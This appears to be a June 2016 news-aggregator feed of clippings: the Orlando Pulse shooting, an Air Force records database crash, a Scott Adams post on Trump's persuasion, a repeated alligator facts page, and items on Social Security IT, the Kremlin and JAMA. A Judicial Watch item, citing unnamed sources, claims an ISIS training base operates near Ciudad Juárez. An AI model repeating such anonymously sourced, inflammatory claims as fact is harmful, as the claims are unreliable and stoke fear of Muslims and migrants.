Although the Bishop case challenged only North Carolina's 2009 bullying law, the ruling points to the certain unconstitutionality of a companion statute, enacted in 2012, making it a crime to post embarrassing information about school employees online. If the goal of protecting vulnerable children against online humiliation is not sufficiently compelling to justify wholesale prohibitions on speech, then protecting the reputations of government employees plainly cannot be.
Justice Hudson's assessment of the student-bullying statute applies even more forcefully to the state's attempt to protect school officials against criticism:
Civility, whose definition is constantly changing, is a laudable goal but one not readily attained or enforced through criminal laws.
Tagged: cyberbullying, news, North Carolina Supreme Court, recent-news, social media
Omar Mateen told victims his attack was retaliation for America bombing Afghanistan - but 'black people would be spared'
Wed, 15 Jun 2016 22:48
Omar Mateen, the Orlando gunman, told his victims the attack was revenge for American bombing of Afghanistan, but allowed black Americans to be released because "they have suffered enough."
The gunman's words were recounted by Patience Carter, 20, in an emotional press conference from her hospital bed on Tuesday.
Miss Carter, from Philadelphia, had gone to Pulse nightclub while visiting the city on holiday with her friends Tiara Parker and Akyra Murray, 18-year-old cousins, and Miss Murray's parents.
Miss Murray, who initially escaped the club with Miss Carter, only to turn back to try and find Miss Parker, died in the attack.
"We went from having the time of our lives to the worst night of our lives, all within a matter of minutes," she said.
The trio ended up held hostage by Mateen inside one of the bathrooms.
"We were all scrambling around in the bathroom, screaming at the top of our lungs," she said.
She was shot in the leg in the melee.
"At that point we knew this wasn't a game. This was very real and this was something that was really happening to us right now."
Mateen left, only to return later and ask if there were any black people there. When someone replied yes, Mateen said, according to Miss Carter: "I don't have a problem with black people. This is about my country. You guys suffered enough."
He had already murdered dozens of black people inside the club, however.
And Miss Carter said she heard him speaking to police on the phone, pledging his allegiance to Isil and saying the attacks were in retaliation for America's bombing of Afghanistan.
Persuasion Think-ahead | Scott Adams Blog
Wed, 15 Jun 2016 21:25
Posted June 15th, 2016 @ 9:09am in #Trump#clinton2016
As I have said several times in this blog, Trump often uses confirmation bias in his influence. He creates a mental framework for us to view our world and then waits for future events to fill in the details.
For example:
1. Trump knew his ''Crooked Hillary'' nickname would be reinforced by a continuous trickle of new revelations about Clinton's misdeeds. We will hear more about Clinton's email scandal, and more about foreign money buying influence, for example. True or not, the allegations will fit the ''crooked'' label and reinforce it.
2. Trump's ''Lyin' Ted'' label was also a trap for confirmation bias. Every time you heard Cruz say something that you doubted, the Lyin' Ted label jumped into your head.
3. Trump knew there would be more radical Islamic terror attacks either here or abroad before election day. Every attack makes Trump's proposal to temporarily ban Muslim immigration from selected countries seem more reasonable and more prescient.
One of the reasons this form of persuasion is so effective is that it allows people to talk themselves into your point of view over time. People don't like it when you try to change their minds in person, and almost everyone will resist such an attempt. But if people believe they are evolving in their own thinking '' totally independently '' they give themselves permission to change.
How powerful is this method of persuasion? I recently turned a Trump-hating Muslim into a Trump-liker in about two weeks. It took ten minutes of conversation in person, followed by two weeks of confirmation bias that happened on its own. That's purely anecdotal, but consistent with what I expected from the persuasion method I used.
Team Clinton is also using the confirmation bias persuasion technique with great success. They labelled Trump a racist and waited for confirmation bias to do the rest, which it has. Trump's avoidance of politically correct speech guaranteed he would trigger cognitive dissonance about his views on race and gender.
For example, when Trump suggested that Judge Curiel might be biased because of his life experience '' the way 100% of all human beings are biased '' Trump was labeled racist. As a legal strategy, what Trump did was aggressive but smart. Either Trump's claim of judicial bias would influence the judge to overcompensate in favor of Trump, or it would undermine the Judge's verdict if it went against Trump. Trump's strategy was good persuasion, except for the part where confirmation bias makes it look racist as hell.
But consider this: If a man with African ancestors is born and raised in England, and later becomes a citizen of the United States, we might label him ''English'' as soon as we heard the accent. And no one would consider that a racial insult because England is a country, not a race.
But when Trump referred to Judge Curiel as ''Mexican'' it sounded racist as hell, even though Mexico is a country not a race. That's confirmation bias. You expected Trump to be a racist, so that is how you interpreted it. What he meant to say is that people are influenced by their associations, especially when their family members are involved. That part is totally reasonable. But the way you heard it (thanks to the news media) is that Trump was saying a judge is not qualified to do his job because of his race. But Trump never mentioned race. If you heard it as a race comment, that's cognitive dissonance.
Yes, I know Curiel was born in America. That doesn't change my point. If the judge rules in favor of Trump, he might have a tense Thanksgiving with his relatives. Bias is a real thing. We all have it. Even judges.
My view on Trump is that he is a nationalist who often talks about countries but not ethnicities. He rails against China, Iran, Mexico, and other countries. Personally, I have never heard Trump make a negative racial comment. But I have heard plenty of Trump statements that SOUND racist because of the way our minds conflate countries and ethnicities.
On a related note, yesterday I used a Trump persuasion trick to get more clicks on a Tweet. See if you can identify the trick before I tell you about it below.
The trick is that Islam isn't a race. Islam is open to all races. I know that, but I still created a tweet that indicates I can't tell the difference between a race and a religion.
Result: People tweeted to inform me that Islam is not a race.
Key learning: Sometimes the mistake is the method.
Bonus thought. When you pick a name for a baby, you should always think ahead to what kind of cruel nicknames it will inspire. Likewise, when picking a campaign theme, always think ahead to how it could be mocked.
You can't do much to mock ''Make America Great Again.'' But when the Clinton team came up with ''I'm with her,'' they should have seen this meme coming.
If you think Mexico is a country and not a race, you might like my book because it has nothing to do with this sentence.
Computer Crash Wipes Out Years of Air Force Investigation Records - Defense One
Wed, 15 Jun 2016 20:35
Fraud and abuse investigations dating back to 2004 vanished when a database became corrupted, service officials said.
The U.S. Air Force has lost records concerning 100,000 investigations into everything from workplace disputes to fraud.
A database that hosts files from the Air Force's inspector general and legislative liaison divisions became corrupted last month, destroying data created between 2004 and now, service officials said. Neither the Air Force nor Lockheed Martin, the defense firm that runs the database, could say why it became corrupted or whether they'll be able to recover the information.
Lockheed tried to recover the information for two weeks before notifying the Air Force, according to a service statement.
The Air Force has begun asking for assistance from cybersecurity professionals at the Pentagon as well as from private contractors.
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''We've kind of exhausted everything we can to recover within [the Air Force] and now we're going to outside experts to see if they can help,'' said Ann Stefanek, an Air Force spokeswoman at the Pentagon.
For now, Air Force officials don't believe the crash was caused intentionally.
''[W]e're doing our due diligence and checking out all avenues within the investigation to find out if there's anything that we're not aware of,'' Stefanek said. ''Right now, we don't have any indication of that.''
Lockheed declined to answer specific questions about the incident.
''We are aware of the data corruption issue in the Air Force's Automated Case Tracking System (ACTS) and are working with the Air Force to identify the cause, and restore the lost data,'' Maureen Schumann, a company spokeswoman, said in an email.
The Air Force inspector general is an independent organization that reports directly to Air Force Secretary Deborah Lee James and Gen. Mark Welsh, the Air Force chief of staff. The office investigates claims of waste, fraud, and abuse within the service.
Stefanek said the ACTS system contains all sorts of personal information, such as complaints, the findings of an investigation, and any actions taken. The database also contains records of congressional and constituent inquiries.
The data lost dates back to 2004.
''[W]hen the system crashed, all those historical records were lost,'' she said.
Data about current investigations has also been lost, which is delaying them.
''The Air Force is assessing the immediate impact of the data loss, but at this time we are experiencing significant delays in the processing of inspector general and congressional constituency inquiries,'' the service said in a statement.
It's possible that some data is backed up at local bases where investigations originated.
''We've opened an investigation to try to find out what's going on, but right now, we just don't know,'' Stefanek said.
In a letter to Secretary James on Monday, Sen. Mark Warner, D-Va., said the lost database ''was intended to help the Air Force efficiently process and make decisions about serious issues like violations of law and policy, allegations or reprisal against whistleblowers, Freedom of Information Act requests, and Congressional inquiries.''
''My personal interest in the [Inspector General's] ability to make good decisions about the outcomes of cases, and to do so in a timely manner, stems from a case involving a Virginia constituent that took more than two years to be completed, flagrantly violating the 180-day statutory requirement for case disposition,'' Warner wrote.
The case Warner was referring to was conducted by the Defense Department's inspector general, but the senator said he is worried the Air Force's data loss could further delay investigations.
''I am very concerned by any problems that could negatively impact case outcomes or that could exacerbate the already lengthy process for [inspector general] investigations to be concluded,'' he wrote.
He also criticized the Air Force for notifying Congress on Friday afternoon, five days after senior service leaders was told about the problem.
''The five-sentence notification to Congress did not contain information that appeared to have the benefit of five days of working the issue,'' Warner wrote.
Air Force officials originally said information on sexual assaults might had been lost in the crash. After the article was published, they said that while sexual assault and harassment claims might have been part of the files lost, those types of investigations are backed up elsewhere. The inspector general does not investigate cases solely involving sexual assault. However, sexual assault or harassment might be tangentially part of an inspector general investigation, a service spokeswoman said.
Updated at 11:25 p.m.
Computer crash wipes out a decade of US Air Force data - CNET
Wed, 15 Jun 2016 19:56
A corrupted database in the US Air Force's inspector general and legislative liaison divisions has reportedly put more than 100,000 internal investigation records in jeopardy.
The database, called the Automated Case Tracking System, was run by defense firm Lockheed Martin. It was corrupted last month and the firm spent two weeks trying to recover data before notifying the Air Force on June 6, according to Defense One.
The database held information about current investigations as well as all records related to IG complaints, appeals and Freedom of Information Act requests, according to The Hill.
"The database crashed and there is no data," Air Force spokeswoman Ann Stefanek told The Hill "At this time we don't have any evidence of malicious intent."
Air Force officials are now turning to cybersecurity professionals at the Pentagon for help with the matter.
"We are aware of the data corruption issue in the Air Force's Automated Case Tracking System (ACTS) and are working with the Air Force to identify the cause, and restore the lost data," a Lockheed Martin spokesperson told CNET.
''Islamic Refugee'' With Gas Pipeline Plans Arrested in New Mexico Border County - Judicial Watch
Wed, 15 Jun 2016 19:41
Police in a U.S. town bordering Mexico have apprehended an undocumented, Middle Eastern woman in possession of the region's gas pipeline plans, law enforcement sources tell Judicial Watch. Authorities describe the woman as an ''Islamic refugee'' pulled over during a traffic stop by a deputy sheriff in Luna County, New Mexico which shares a 54-mile border with Mexico. County authorities alerted the U.S. Border Patrol and the Federal Bureau of Investigation's (FBI) Joint Terrorism Task Forces (JTTF) has been deployed to the area to investigate, sources with firsthand knowledge of the probe confirm.
The gas pipeline plans in the woman's possession include the Deming region, law enforcement sources say. Deming is a Luna County city situated about 35 miles north of the Mexican border and 60 miles west of Las Cruces. It has a population of about 15,000. Last year one local publication listed Deming No. 1 on a list of the ''ten worst places'' to live in New Mexico due to high unemployment, poverty, crime and a horrible public education system. The entire region is a High Intensity Drug Trafficking Area (HIDTA), according to the Justice Department's National Drug Intelligence Center due to the large amounts of methamphetamines, heroin, cocaine and marijuana smuggled through the state by Mexican traffickers. Specifically, the renowned Jurez and Sinaloa cartels operate in the area, the feds affirm in a report.
Judicial Watch has broken a number of stories in the last few years about Mexican drug traffickers smuggling Islamic terrorists into the United States through the porous southern border. Last summer high-level sources on both sides of the Mexico-U.S. border offered alarming details about an operation in which cartels smuggle foreigners from countries with terrorist links into a small Texas rural town near El Paso. Classified as Special Interest Aliens (SIA) by the U.S. government, the foreigners get transported to stash areas in Acala, a rural crossroads located around 54 miles from El Paso on a state road '' Highway 20. Once in the U.S., the SIAs wait for pick-up in the area's sand hills just across Highway 20.
A few months ago Judicial Watch reported that members of a cell of Islamic terrorists stationed in Mexico cross into the U.S. to explore targets for future attacks with the help of Mexican drug traffickers. Among the jihadists that travel back and forth through the porous southern border is a Kuwaiti named Shaykh Mahmood Omar Khabir, an ISIS operative who lives in the Mexican state of Chihuahua not far from El Paso, Texas. Khabir trained hundreds of Al Qaeda fighters in Pakistan, Afghanistan and Yemen and has lived in Mexico for more than a year, according to Judicial Watch's high-level Homeland Security sources. Now Khabir trains thousands of men'--mostly Syrians and Yemenis'--to fight in an ISIS base situated in the Mexico-U.S. border region near Ciudad Jurez. Khabir actually brags in a European newspaper article about how easy it is to stake out American targets because the border region is wide open. In the same story Foreign Affairs Secretary Claudia Ruiz, Mexico's top diplomat, says she doesn't understand why the Obama administration and the U.S. media are ''culpably neglecting this phenomenon,'' adding that ''this new wave of fundamentalism could have nasty surprises in store for the United States.''
This recent New Mexico incident brings to mind a story Judicial Watch broke less than a year ago involving five young Middle Eastern men apprehended by Border Patrol in an Arizona town (Amado) situated about 30 miles from the Mexican border. Two of the Middle Eastern men were carrying stainless steel cylinders in backpacks, alarming Border Patrol officials enough to call the Department of Homeland Security (DHS) for backup. A multitude of federal agents descended on the property and the two men carrying the cylinders were believed to be taken into custody by the FBI. Only three of the men's names were entered in the Border Patrol's E3 reporting system, which is used by the agency to track apprehensions, detention hearings and removals of illegal immigrants. E3 also collects and transmits biographic and biometric data including fingerprints for identification and verification of individuals encountered at the border. The other two men were listed as ''unknown subjects,'' which is unheard of. ''In all my years I've never seen that before,'' a veteran federal law enforcement agent told Judicial Watch.
Alligator Facts
Wed, 15 Jun 2016 16:20
Alligator Facts
Click to see larger image
Alligator Myths and Facts.
Myth: Alligators live for hundreds of years.
Fact: Alligators in the wild are believed to live 35 - 50 years. In captivity their lifespan may be significantly longer, perhaps 60-80 years. Currently, there are no scientific methods of analyzing an alligators age while it is alive.
Myth: Alligators can grow to enormous proportions, over 20 feet in length and weighing a ton or more.
Fact: The longest recorded length for an alligator is 19' 2'. This animal was trapped in the early 1900's in the State of Louisiana. Most wild alligators do not get above 13 feet in length, and may weigh 600 pounds or more.
Myth: Crocodiles and alligators open their jaws differently. The jaws of the crocodile are hinged to open the top jaw, while alligators open their bottom.
Fact: Alligators and crocodiles jaws are hinged the same. Both animals hinge their jaws on the bottom, the top jaw is simply an extension of the skull.
Myth: Alligators are immune to the bite of poisonous snakes.
Fact: Alligators are not immune to snake poison. However, they do have extremely tough skin, and an armored back protected by bony plates called scutes. It is possible that this protection may prevent asnake's fangs from penetrating the skin.
Myth: Only the tail of the alligator is edible.
Fact: Although the tail of the alligator is considered the prime cut, all the meat of the alligator is edible.
Myth: Alligators are slow moving animals when they are out of the water.
Fact: Alligators can run at speeds of up to 20 miles per hour. However that speed can only be maintained for a very short distance.
Click to see larger image
The alligator is an amazing reptile, having survived almost unchanged since the time of the dinosaurs. Having been hunted almost to the brink of extinction, this reptile has made an amazing comeback in recent years, inhabiting almost every body of water in Florida. The alligator is a very important part of ourwildlife heritage, and plays an extremely important part in Florida's ecosystem. During the dry season, alligators create "gator holes" which may be the only source of water around. This provides sustenance not only to the wildlife of the area, but to the alligator as well. Alligators also feed upon the "trash fish" such as gars, which are natural predators of young game fish like bass. The alligator is now considered to be a renewable resource, and is an important part in Florida's growing aquaculture industry.
The relationship between alligators and man dates back thousands of years. The first human residents of Florida hunted the alligator for its hide and meat. The teeth of an alligator were believed to be a magical ward against snakebites, as alligators were thought to be immune to the bite of poisonous snakes. The leather was used by the natives to make all types of leather items, even musical instruments such as drums.
When the Spaniards first arrived in Florida, they were amazed at this large reptile calling it "el lagarto" (the lizard). It is from this early Spanish term that we derived the name alligator. This fearsome reptile can grow to an extremely large size, and wild alligators of 13 feet or more are not uncommon. Fortunately, alligators in the wild do exhibit a natural fear of man. If left alone, an alligator would much rather stay away from humans than attack them. In the State of Florida it is illegal to feed a wild alligator, as doing so tends to make the animal associate humans with food and it loses its natural fear of man.
But attacks on humans do occur, and there have been several fatal alligator attacks in Florida. Many of these attacks involve small children or swimmers, however most attacks can be attributed to human error. One of the most important rules is should you see an alligator in the wild...Leave It Alone. Alligators are not to be feared, but they are to be respected. Capable of reaching lengths over 13feet and weighing over 600 pounds, alligators have a crushing power of 3,000 psi in their jaws. Despite their appearance, alligators are extremely quick and agile. They are capable of amazingly fast bursts of speed, if only for a short distance. It has been said that an alligator can outrun a horse for a distance of 30 feet.
Alligators are now protected by both state and federal regulations. It is illegal to hunt or trap a wild alligator without a permit. The Florida Fish and Game Commission oversees several managementprograms for the alligator. One of these is the nuisance alligator program, where alligators deemed to be dangerous to man or domestic animals are removed by private trappers. Should you have any questions or complaints about alligators in your area, consult your local Fish and Game Commission.
Click to see larger image
Feeding Habits Alligators are carnivorous reptiles whose primary feeding time is at night. Small alligators will eat snails, frogs, insects, and small fish. Larger gators will eat fish, turtles, snakes, waterfowl, small mammals, and even smaller alligators. Examinations of alligators' stomachs have even found such objects as stones, sticks, cans, fishing lures and other assorted items.
Alligators swallow their food whole. The teeth of an alligator are conical shaped and are made for grabbing and holding, not for cutting. When dealing with larger prey, an alligator may shake its head or spin its body in order to tear off a piece small enough to swallow. They have also been known to hold food in their mouth until it deteriorates to the point they can swallow it.
Alligators have a specialized valve in their throat called a glottis that enables the gator to capture its prey underwater. However, in order to swallow its food and thus keep itself from drowning, an alligator mustlift its head out of the water.
Reproduction The sexual maturity of the alligator is dependent more upon the size of the animal than its age. An alligator is generally considered sexually mature when it reaches a length of six feet or more. Dependent uponenvironmental factors, a wild alligator may attain this length in about ten to twelve years. In a controlled captive environment, sexual maturity may occur in a much shorter time span.
The alligators breeding season begins in April, during which time the courtship rituals begin. The courtship rituals of the alligator are quite complex, involving touching, rubbing, the blowing of bubbles and somevocalizations. The actual mating takes place in open water, and involves a coitus method not unlike most animals. Alligators are not monogamous, one male may service up to ten or more females in his territory. Male alligators are territorial animals during the breeding season, and will defend their area against other male intruders.
After mating, the female alligator moves into the marshy areas and shoreline where she will begin to construct a nest;. Using her back feet, the female will scratch together a mound of sticks, mud andvegetation. Into this mound she will deposit her eggs, and it is the breakdown of the nesting material that helps keep the eggs warm. Female alligators begin to lay their eggs in late June and early July. Alligators tend to lay about 40-45 eggs on the average, however, the rate of fertility varies with the age of the female.
The incubation period of the eggs is 65 days. During this time the female alligator guards her nest against intruders. Raccoons for example, are notorious nest raiders, and have been known to completely destroy a nest. The eggs begin to hatch in August through September, during which time the baby alligators make-high pitched grunting noises to alert the mother gator. The female alligator will then uncover the nest releasing the babies, and some females have even been known to carry their young to the water.
The young alligators are known as hatchlings, and are about 6-8 inches at birth. After birth, the hatchling alligators form groups called "pods" and may stay in the same vicinity of their nesting site for several years. Until the next breeding season begins, the female alligator will remain near her brood, defending them against predators. The first few years of a hatchlings life are the most dangerous, as anything that can eat a small alligator will! Snakes, wading birds, osprey, raccoons, otters, large bass, garfish, even larger alligators will feed upon the young alligator. Once the alligator reaches about 4 feet, its only real predator is man.
Click to see larger image
Habitat The American Alligator (Alligator Mississipiensis) is found only in the southeastern part of the United States, from the Carolinas, down to Florida and over to Texas. The Chinese Alligator (Alligator Sinensis) is very rare and can only be found in the Yangtze River Basin in China.
Alligators inhabit primarily fresh water to brackish water areas, although they can occasionally be found in salt water. However, alligators lack the salt-extracting glands of crocodiles and are unable to survive in salt water for extended periods of time.
The alligator is found only in the southeastern United States and in China. Alligators have a short, blunt and rounded snout. Adults tend to be a grayish black in color while the young can be more colorful withyellow or white highlights on a black body. The Chinese alligator is quite small, only attaining a length of 6 feet. The American Alligator however is quite large, with a record length of 19' 2". Fortunately, the American Alligator is not considered to be a man-eater. In the wild, alligators tend to exhibit a natural fear of man.
Caimans are found primarily in Central and South America. There are many types of caiman, the most "popular" being the spectacled caiman (Caiman Sclerops). This reptile was widely used in the pet trade, often sold as "baby alligators". Caiman are normally small and squat reptiles with an extremely toothy grin. The caiman that most resemble the alligator in size and appearance is the Black Caiman (Melanosuchus Niger). The Black Caiman is found in the Amazon River Basin and is said to attain a length of 13 feet.
Crocodiles are characterized by a long and tapered snout. They tend to be light tan to brownish in color. There are many types of crocodiles, some only reaching a maximum length of 6 feet while others can attain a length of over 23 feet. Crocodiles can be found all over the world, here in the United States we have one type of crocodile, the American Crocodile (Crocodylus Acutus). The American Crocodile is very rare and in the United States can only be found in the Key West to Florida Bay area. Two types of crocodiles are considered to be man-eaters, the Salt Water Crocodile (Crocodylus Porosus), and the Nile Crocodile (Crocodylus Niloticus).
Alligator Facts
Click to see larger image
Alligator Myths and Facts.
Myth: Alligators live for hundreds of years.
Fact: Alligators in the wild are believed to live 35 - 50 years. In captivity their lifespan may be significantly longer, perhaps 60-80 years. Currently, there are no scientific methods of analyzing an alligators age while it is alive.
Myth: Alligators can grow to enormous proportions, over 20 feet in length and weighing a ton or more.
Fact: The longest recorded length for an alligator is 19' 2'. This animal was trapped in the early 1900's in the State of Louisiana. Most wild alligators do not get above 13 feet in length, and may weigh 600 pounds or more.
Myth: Crocodiles and alligators open their jaws differently. The jaws of the crocodile are hinged to open the top jaw, while alligators open their bottom.
Fact: Alligators and crocodiles jaws are hinged the same. Both animals hinge their jaws on the bottom, the top jaw is simply an extension of the skull.
Myth: Alligators are immune to the bite of poisonous snakes.
Fact: Alligators are not immune to snake poison. However, they do have extremely tough skin, and an armored back protected by bony plates called scutes. It is possible that this protection may prevent asnake's fangs from penetrating the skin.
Myth: Only the tail of the alligator is edible.
Fact: Although the tail of the alligator is considered the prime cut, all the meat of the alligator is edible.
Myth: Alligators are slow moving animals when they are out of the water.
Fact: Alligators can run at speeds of up to 20 miles per hour. However that speed can only be maintained for a very short distance.
Click to see larger image
The alligator is an amazing reptile, having survived almost unchanged since the time of the dinosaurs. Having been hunted almost to the brink of extinction, this reptile has made an amazing comeback in recent years, inhabiting almost every body of water in Florida. The alligator is a very important part of ourwildlife heritage, and plays an extremely important part in Florida's ecosystem. During the dry season, alligators create "gator holes" which may be the only source of water around. This provides sustenance not only to the wildlife of the area, but to the alligator as well. Alligators also feed upon the "trash fish" such as gars, which are natural predators of young game fish like bass. The alligator is now considered to be a renewable resource, and is an important part in Florida's growing aquaculture industry.
The relationship between alligators and man dates back thousands of years. The first human residents of Florida hunted the alligator for its hide and meat. The teeth of an alligator were believed to be a magical ward against snakebites, as alligators were thought to be immune to the bite of poisonous snakes. The leather was used by the natives to make all types of leather items, even musical instruments such as drums.
When the Spaniards first arrived in Florida, they were amazed at this large reptile calling it "el lagarto" (the lizard). It is from this early Spanish term that we derived the name alligator. This fearsome reptile can grow to an extremely large size, and wild alligators of 13 feet or more are not uncommon. Fortunately, alligators in the wild do exhibit a natural fear of man. If left alone, an alligator would much rather stay away from humans than attack them. In the State of Florida it is illegal to feed a wild alligator, as doing so tends to make the animal associate humans with food and it loses its natural fear of man.
But attacks on humans do occur, and there have been several fatal alligator attacks in Florida. Many of these attacks involve small children or swimmers, however most attacks can be attributed to human error. One of the most important rules is should you see an alligator in the wild...Leave It Alone. Alligators are not to be feared, but they are to be respected. Capable of reaching lengths over 13feet and weighing over 600 pounds, alligators have a crushing power of 3,000 psi in their jaws. Despite their appearance, alligators are extremely quick and agile. They are capable of amazingly fast bursts of speed, if only for a short distance. It has been said that an alligator can outrun a horse for a distance of 30 feet.
Alligators are now protected by both state and federal regulations. It is illegal to hunt or trap a wild alligator without a permit. The Florida Fish and Game Commission oversees several managementprograms for the alligator. One of these is the nuisance alligator program, where alligators deemed to be dangerous to man or domestic animals are removed by private trappers. Should you have any questions or complaints about alligators in your area, consult your local Fish and Game Commission.
Click to see larger image
Feeding Habits Alligators are carnivorous reptiles whose primary feeding time is at night. Small alligators will eat snails, frogs, insects, and small fish. Larger gators will eat fish, turtles, snakes, waterfowl, small mammals, and even smaller alligators. Examinations of alligators' stomachs have even found such objects as stones, sticks, cans, fishing lures and other assorted items.
Alligators swallow their food whole. The teeth of an alligator are conical shaped and are made for grabbing and holding, not for cutting. When dealing with larger prey, an alligator may shake its head or spin its body in order to tear off a piece small enough to swallow. They have also been known to hold food in their mouth until it deteriorates to the point they can swallow it.
Alligators have a specialized valve in their throat called a glottis that enables the gator to capture its prey underwater. However, in order to swallow its food and thus keep itself from drowning, an alligator mustlift its head out of the water.
Reproduction The sexual maturity of the alligator is dependent more upon the size of the animal than its age. An alligator is generally considered sexually mature when it reaches a length of six feet or more. Dependent uponenvironmental factors, a wild alligator may attain this length in about ten to twelve years. In a controlled captive environment, sexual maturity may occur in a much shorter time span.
The alligators breeding season begins in April, during which time the courtship rituals begin. The courtship rituals of the alligator are quite complex, involving touching, rubbing, the blowing of bubbles and somevocalizations. The actual mating takes place in open water, and involves a coitus method not unlike most animals. Alligators are not monogamous, one male may service up to ten or more females in his territory. Male alligators are territorial animals during the breeding season, and will defend their area against other male intruders.
After mating, the female alligator moves into the marshy areas and shoreline where she will begin to construct a nest;. Using her back feet, the female will scratch together a mound of sticks, mud andvegetation. Into this mound she will deposit her eggs, and it is the breakdown of the nesting material that helps keep the eggs warm. Female alligators begin to lay their eggs in late June and early July. Alligators tend to lay about 40-45 eggs on the average, however, the rate of fertility varies with the age of the female.
The incubation period of the eggs is 65 days. During this time the female alligator guards her nest against intruders. Raccoons for example, are notorious nest raiders, and have been known to completely destroy a nest. The eggs begin to hatch in August through September, during which time the baby alligators make-high pitched grunting noises to alert the mother gator. The female alligator will then uncover the nest releasing the babies, and some females have even been known to carry their young to the water.
The young alligators are known as hatchlings, and are about 6-8 inches at birth. After birth, the hatchling alligators form groups called "pods" and may stay in the same vicinity of their nesting site for several years. Until the next breeding season begins, the female alligator will remain near her brood, defending them against predators. The first few years of a hatchlings life are the most dangerous, as anything that can eat a small alligator will! Snakes, wading birds, osprey, raccoons, otters, large bass, garfish, even larger alligators will feed upon the young alligator. Once the alligator reaches about 4 feet, its only real predator is man.
Click to see larger image
Habitat The American Alligator (Alligator Mississipiensis) is found only in the southeastern part of the United States, from the Carolinas, down to Florida and over to Texas. The Chinese Alligator (Alligator Sinensis) is very rare and can only be found in the Yangtze River Basin in China.
Alligators inhabit primarily fresh water to brackish water areas, although they can occasionally be found in salt water. However, alligators lack the salt-extracting glands of crocodiles and are unable to survive in salt water for extended periods of time.
The alligator is found only in the southeastern United States and in China. Alligators have a short, blunt and rounded snout. Adults tend to be a grayish black in color while the young can be more colorful withyellow or white highlights on a black body. The Chinese alligator is quite small, only attaining a length of 6 feet. The American Alligator however is quite large, with a record length of 19' 2". Fortunately, the American Alligator is not considered to be a man-eater. In the wild, alligators tend to exhibit a natural fear of man.
Caimans are found primarily in Central and South America. There are many types of caiman, the most "popular" being the spectacled caiman (Caiman Sclerops). This reptile was widely used in the pet trade, often sold as "baby alligators". Caiman are normally small and squat reptiles with an extremely toothy grin. The caiman that most resemble the alligator in size and appearance is the Black Caiman (Melanosuchus Niger). The Black Caiman is found in the Amazon River Basin and is said to attain a length of 13 feet.
Crocodiles are characterized by a long and tapered snout. They tend to be light tan to brownish in color. There are many types of crocodiles, some only reaching a maximum length of 6 feet while others can attain a length of over 23 feet. Crocodiles can be found all over the world, here in the United States we have one type of crocodile, the American Crocodile (Crocodylus Acutus). The American Crocodile is very rare and in the United States can only be found in the Key West to Florida Bay area. Two types of crocodiles are considered to be man-eaters, the Salt Water Crocodile (Crocodylus Porosus), and the Nile Crocodile (Crocodylus Niloticus).
Social Security looks to scrap 30 years of code
Wed, 15 Jun 2016 16:09
IT Modernization
Social Security looks to scrap 30 years of codeBy Zach NobleJun 14, 2016"We have a full-blown plan to basically re-write everything," Social Security Administration CIO Rob Klopp told FCW on June 14.
If the proposed $3.1 billion federal IT modernization fund becomes a system-shocking reality, Klopp said he plans to be among the first requesting a cut.
"We have very detailed plans, we know how we're going to ask for the money," he said.
His plans are subject to final review by SSA Commissioner Carolyn Colvin, he noted, so he couldn't say exactly how much SSA might end up soliciting.
But he said it will likely be a modest sum, thanks to SSA's planned reliance on truly agile methodology.
Klopp pointed to the Disability Case Processing System as a reference point. In 2014, SSA killed and restarted the DCPS project after sinking $300 million and six years into it. The new DCPS push has cost less than $40 million, Klopp told FCW, and should be rolling out this December, thanks to an agile development approach.
With the DCPS experience informing them, SSA teams should be well positioned to work iteratively, quickly and cheaply to tackle the rest of the agency's IT, Klopp said.
And he said starting over will make more sense than trying to incrementally improve the code base.
"If the code base I had was 10 years old instead of 30 years old, then I might be at a place where I could incrementally advance it," Klopp said. "If I start all over again, I can basically jump right on to the technology curve and have very modern, very cool stuff."
That "very modern, very cool stuff," he noted, is all too lacking in government.
"The reality is that the federal government lives somewhere between the mainstream and the late adoption," Klopp said. "Part of what the IT modernization fund is to give us a vehicle to move a little bit closer to be an early adopter."
Even if the IT modernization fund is approved by Congress, Klopp acknowledged he'll face more hurdles as he tries to get overseers on board with agile.
"The oversight mindset is 20 years old, and it's built around waterfall and predefined projects with specified deliverables and budgets and timeframes," Klopp said. "And agile isn't that."
The inherent challenge with agile, in Klopp's nutshell: "You've got to give me a bunch of money, and I'm not going to tell you what I'm going to deliver."
He said feds will need a new oversight model, in which inspectors general and other watchdogs come in and see work products on a regular basis as they're iteratively tested and deployed.
And even with that oversight, launching agile runs at modernization will require trust, he said.
"Business has to trust IT" for agile development to take place, Klopp said -- and that trust may be the hardest thing to cement into federal practice.
About the Author
Zach Noble is a staff writer covering digital citizen services, workforce issues and a range of civilian federal agencies.
Before joining FCW in 2015, Noble served as assistant editor at the viral news site TheBlaze, where he wrote a mix of business, political and breaking news stories and managed weekend news coverage. He has also written for online and print publications including The Washington Free Beacon, The Santa Barbara News-Press, The Federalist and Washington Technology.
Noble is a graduate of Saint Vincent College, where he studied English, economics and mathematics.
Click here for previous articles by Noble, or connect with him on Twitter: @thezachnoble.
Erdogan's Russia Day message to Putin needs no reply, says Kremlin
Wed, 15 Jun 2016 16:05
Turkish president expressed his desire that relations between Moscow and Ankara would reach a ''distinguished level.'' Source: Reuters
The message sent by Turkish President Recep Tayyip Erdogan to Russian President Vladimir Putin on Russia Day is a matter of protocol and does not contain any provisions requiring a reply, Kremlin press secretary Dmitry Peskov has said.
"This is a protocol message: Such messages are traditionally exchanged on the occasion of national days. This is protocol, a customary practice in international relations. As a rule, these are no-reply messages," Peskov told reporters.
"Regretfully, the message does not contain any other, substantive provisions," he said.
Turkish President Erdogan writes a letter to President Putin>>>
JAMA: No plan to retract article on fetal pain, despite outcry from anti-abortion activists
Wed, 15 Jun 2016 16:02
JAMA has announced it does not intend to retract a 2005 review article about fetal pain, despite requests from anti-abortion activists who claim it has been misused in debates about the procedure.
Earlier this month, JAMA told one anti-abortion critic that it would take a look at the paper, which suggested that fetuses can't feel pain before the third trimester. Critics have argued that newer findings have shown pain sensation appears earlier in gestation, yet the 2005 data continue to be cited in the discussion around abortion. What's more, critics have lamented that some of the authors failed to mention their ties to the abortion industry.
But in a letter sent yesterday to James Agresti, Howard Bauchner, Editor in Chief at JAMA and The JAMA Network, writes:
'...there is no evidence that the article on fetal pain by Lee et al published in JAMA 2005 should be retracted.
Getting into specifics, Bauchner notes that the 2005 paper words its conclusions carefully, using modifiers such as ''probably'' and ''unlikely,'' making the uncertainty around the topic clear.
Virtually all review articles, such as the article by Lee et al, represent a summary of the evidence available at the time of the review of a topic. Although subsequently published reports may add to the existing evidence on a topic, or propose alternative theories, that new information does not require retraction of previous review articles. In addition, for the article by Lee et al, there is no evidence supporting other issues that would necessitate retraction, such as fabrication or falsification.
